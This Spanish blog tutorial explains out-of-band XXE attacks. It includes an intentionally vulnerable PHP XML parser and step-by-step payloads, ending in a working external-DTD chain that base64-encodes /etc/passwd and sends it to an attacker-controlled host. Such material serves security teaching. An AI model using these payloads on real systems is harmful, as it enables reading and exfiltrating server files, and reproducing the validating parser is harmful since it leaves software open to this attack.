domingo, 23 de marzo de 2014

XXE Out Of Band

En el post de la semana pasada se explicó lo más básico de la explotación de un fallo XXE (XML eXternal Entity). Hoy veremos una técnica más avanzada que nos permitirá explotar este fallo en escenarios un tanto más complicados.

Pero antes de continuar, si quieres poner en práctica tus habilidades con XXE pasate por este post http://fiery-owl.blogspot.com/2014/03/xxe-online.html.

El Escenario

El programa vulnerable del post anterior se encargaba de leer un XML, extraer de él ciertos valores y retornarlos al usuario. El hecho de retornar el valor de algunos tags al usuario permitía usar esos tags para insertar en ellos las entidades XML y extraer la información de interés ¿Pero que pasaría si el programa no devolviera al usuario ningún valor del documento XML? ¿Cómo podríamos explotar una aplicación así?

Veamos algo de código para comprenderlo mejor...

<html>
<body>
<h1>Procesar XML</h1>
<form action="" method="post" enctype="multipart/form-data">
    <label for="file">Archivo XML:</label>
    <input type="file" name="file" id="file">
    <input type="submit" name="submit" value="Enviar">
</form>

<h1>Resultados</h1>
<?php

    // Se ha recibido un archivo XML ?
    if( isset($_FILES["file"]) ) {

     // Creamos un objeto DOMDocument (parser XML)
     $doc = new DOMDocument();
 
     // Activamos la validacion del DTD
     $doc->validateOnParse = true;
     
     // Parseamos el archivo XML recibido
     $doc->Load($_FILES["file"]["tmp_name"]);
 
     // Se obtiene todas las etiquetas "data"
     $tags = $doc->getElementsByTagName("data");
     
     // Hay etiquetas "data" ?
     if ( !empty($tags) ) {
         foreach($tags as $tag) {
             // se procesan los datos recibidos...
             // NO se imprimen valores
         }
         echo "<h3>Datos procesados correctamente.</h3>\n";
     } else {
         echo "<h3>Error. No hay datos que procesar.</h3>\n";
     }
     
        
    } else {
        echo "<h3>No ha enviado ningún archivo XML</h3>\n";
    }
?>
</body>
</html>

Este programa es una ligera variante del anterior. Como verán ya no se imprimen los valores de los tags "data", sino que únicamente se imprime un mensaje de éxito o de error según la información recibida. En este caso no serviría de nada inyectar una entidad externa en el tag "data" porque el valor de ese tag no volverá a nosotros.

En esta situación debemos emplear una técnica de extracción de datos por canales alternativos o también conocida como "Out Of Band".

Nota: Las técnicas de extracción de datos "Out Of Band" se refieren a que la información que deseamos extraer llegará a nosotros a través de una conexión distinta a la utilizada para comunicarnos con la aplicación vulnerable. Son ejemplos de Out Of Band técnicas como HTTP Channel, DNS Channel o SMB Channel para extracción de datos en inyecciones SQL.

Entidades generales y entidades parámetro

Antes de entrar de lleno en la explicación de la técnica veamos algo de teoría.

Las entidades que vimos en el post anterior (tanto internas como externas) son entidades "generales". Existen además otro tipo de entidades conocidas como entidades "parámetro". Las entidades parámetro también pueden ser internas o externas. Ambos tipos de entidades, generales y parámetro, son iguales en el sentido de que se substituyen por un valor definido previamente cada vez que aparecen en el documento XML. La diferencia está en que mientras las entidades generales se usan en el cuerpo del documento XML, las entidades parámetro se usan en el DTD.

Las entidades generales ya las conocemos así que veamos un ejemplo de entidades parámetro:

ejemplo.xml
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root[
<!ENTITY % ejemplo SYSTEM "definiciones.dtd">
%ejemplo;
]>
<root>
    <data>foo</data>
</root>

definiciones.dtd
<!ELEMENT root (data)>
<!ELEMENT data (#PCDATA)> 

En el archivo "ejemplo.xml" vemos que se define una entidad parámetro llamada "ejemplo". Observe que se usa el signo "%" antes del nombre de la entidad para indicar que es una entidad parámetro. Vemos también que es una entidad externa (por la palabra SYSTEM) y que hace referencia al archivo "definiciones.dtd". En el archivo "definiciones.dtd" vemos que están las declaraciones "ELEMENT" para validar la estructura del documento XML. Luego en la cuarta línea de "ejemplo.xml" se inserta la entidad "ejemplo" con "%ejemplo;". Recuerda que cuando el parser XML lea eso lo reemplazará por el contenido del archivo "definiciones.dtd".

XXE Out Of Band

Está técnica fue presentada en el pasado Black Hat 2013 por Timur Yunusov y Alexey Osipov. Les dejo algunos links por si desean consultar las fuentes originales:

Diapositivas: https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf




La idea es formar una URL que incluya la información que queremos obtener. El host de la URL debe estar bajo nuestro control para poder revisar los logs. Algo como:

http://hacker.example.com/?[DATOS]

Donde "[DATOS]" representa la información que nos interesa.

Luego debemos definir una entidad externa que haga referencia a esa URL para que cuando el parser resuelva la entidad envíe a nuestro servidor un request HTTP con los datos de interés. Finalmente obtendremos los datos revisando los logs del servidor.

Este es el momento de explicar un pequeño truco. Como debemos meter los datos en una URL estos no deben incluir saltos de linea u otros caracteres que puedan romper la sintaxis de la URL porque en tal caso el parser simplemente NO hará el request. Felizmente en PHP podemos usar el filtro "php://filter/convert.base64-encode" para leer un archivo y codificarlo a base64. Veamos:

En lugar de leer los datos con:

<!ENTITY % datos SYSTEM "file:///etc/passwd">

Lo haremos así:

<!ENTITY % datos SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">

Ahora sí, hagamos un primer intento...

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root[
<!ELEMENT root (data)>
<!ELEMENT data (#PCDATA)>
<!ENTITY % datos SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % url SYSTEM "http://localhost/?%datos;">
%url;
]>
<root>
    <data>foo</data>
</root>

Lo dicho. En la entidad externa de tipo parámetro "datos" cargamos el archivo "/etc/passwd" usando el filtro base64-encode. Luego en la entidad "url" formamos una URL con los datos previamente obtenidos y finalmente le indicamos al parser que resuelva la entidad "url" insertando "%url;". Si enviamos este documento XML al servidor obtendremos lo siguiente:

Fig. 1 - Primer intento.

Nota: Por simplicidad en el ejemplo uso "localhost" en la URL. En un escenario real se debe poner la IP o dominio de un servidor que esté bajo tu control.

Al parecer "%datos;" no se resolvió correctamente cuando la insertamos en la URL. La razón es porque el parser resuelve las entidades de tipo parámetro siempre que se inserten en el contexto de un DTD y ese no era el caso. Nuestro contexto era el de una URL.

Segundo intento...

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root[
<!ELEMENT root (data)>
<!ELEMENT data (#PCDATA)>

<!ENTITY % datos SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> 
<!ENTITY % interna "<!ENTITY &#37; url SYSTEM 'http://localhost/?%datos;'>">
%interna;
%url;
]>
<root>
    <data>foo</data>
</root>


La entidad "datos" sigue cumpliendo la misma función que antes. Ahora definimos una entidad parámetro de tipo interna llamada "interna" cuyo valor es un DTD donde se define la entidad "url" de forma similar al intento anterior. De esta forma la expresión "%datos;" queda insertada en el contexto de un DTD y el parser deberá resolverla.

Nota: La expresión &#37; es la codificación del caracter %.

Veamos que pasa...

Fig. 2 - Segundo intento.

¿Y ahora que pasó? Veamos lo que dice la documentación del estandar XML:
"The external subset and external parameter entities also differ from the internal subset in that in them, parameter-entity references are permitted within markup declarations, not only between markup declarations."
Fuente: http://www.w3.org/TR/xml11/

Dice que las definiciones de entidades parámetro del subconjunto interno (es decir, que se realizan en el mismo documento XML en la sección DOCTYPE) difieren de las definiciones de entidades parámetro del subconjunto externo (las que se importan por medio de una entidad parámetro externa) en que las primeras (subconjunto interno) NO permiten incluir referencias a otras entidades dentro de su definición mientras que las segundas (subconjunto externo) si lo permiten.

Entonces lo que está fallando es esta linea:

<!ENTITY % interna "<!ENTITY &#37; url SYSTEM 'http://localhost/?%datos;'>">

Pues vemos que dentro de la definición de la entidad "interna" se hace referencia a la entidad "datos" y eso no está permitido (al menos en el subconjunto interno). Para resolver este problema debemos definir la entidad "interna" en un documento externo e importarla mediante una entidad parámetro.

Vamos con el tercer intento...

En mi servidor web creo un archivo "bypass.xml" (http://localhost/bypass.xml) con el siguiente contenido:

<!ENTITY % datos SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % interna "<!ENTITY &#37; url SYSTEM 'http://localhost/?%datos;'>">

Y ahora el documento XML a enviar quedaría así:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root[
<!ELEMENT root (data)>
<!ELEMENT data (#PCDATA)>
<!ENTITY % externa SYSTEM "http://localhost/bypass.xml">
%externa;
%interna;
%url;
]>
<root>
    <data>foo</data>
</root>


Ahora hemos definido una entidad parámetro llamada "externa" que hace referencia al documento "http://localhost/bypass.xml". En este documento definimos las entidades "datos", "interna" y "url" como ya se explicó previamente. Ya no debería botar error porque ahora estas entidades pertenecen al subconjunto externo en el cual las referencias a entidades dentro de definiciones si están permitidas.

Veamos que pasa...

Fig. 3 - Tercer intento.

¡Ha funcionado! El error que se muestra es porque la URL para extracción de datos no existe y nos indica ello. Incluso podemos ver los datos extraídos codificados en base64  en el mensaje de error (que he emborronado parcialmente). Pero si la opción display_errors del php.ini estubiera en Off no se mostraría nada. La extracción de datos por XXE Error Based quizá la veamos en otro post. Hoy toca Out Of Band, así que revisemos los logs del servidor...

Fig. 4 - Logs con los datos obtenidos.

Y ahí está el /etc/passwd códificado en base64 (emborronado por supuesto xD)

Es todo por hoy.

Un saludo.

3 comentarios:

  1. un video tutorial tambien bro

    ResponderEliminar
  2. Ok, lo dejare pendiente para el fin de semana...

    Un saludo.

    ResponderEliminar
  3. saludos, muy interesante el ejemplo pero tengo una consulta este ejemplo servira si subo un " docx" con su xml modificado , si bien sabemos el docx es un xml

    por que en este ejemplo subimos " ejemplo.xml" pero no asi " ejemplo.docx" y esa es mi duda pasaria lo mismo ??
    esto lo digo por este caso :
    http://www.pandasecurity.com/spain/mediacenter/redes-sociales/cuidado-con-facebook-un-investigador-ha-logrado-hackearlo-con-un-documento-de-word/
    si puedes mostrar un ejemplo de un analizador de " docx" y el DTD habilitado . saludos.

    ResponderEliminar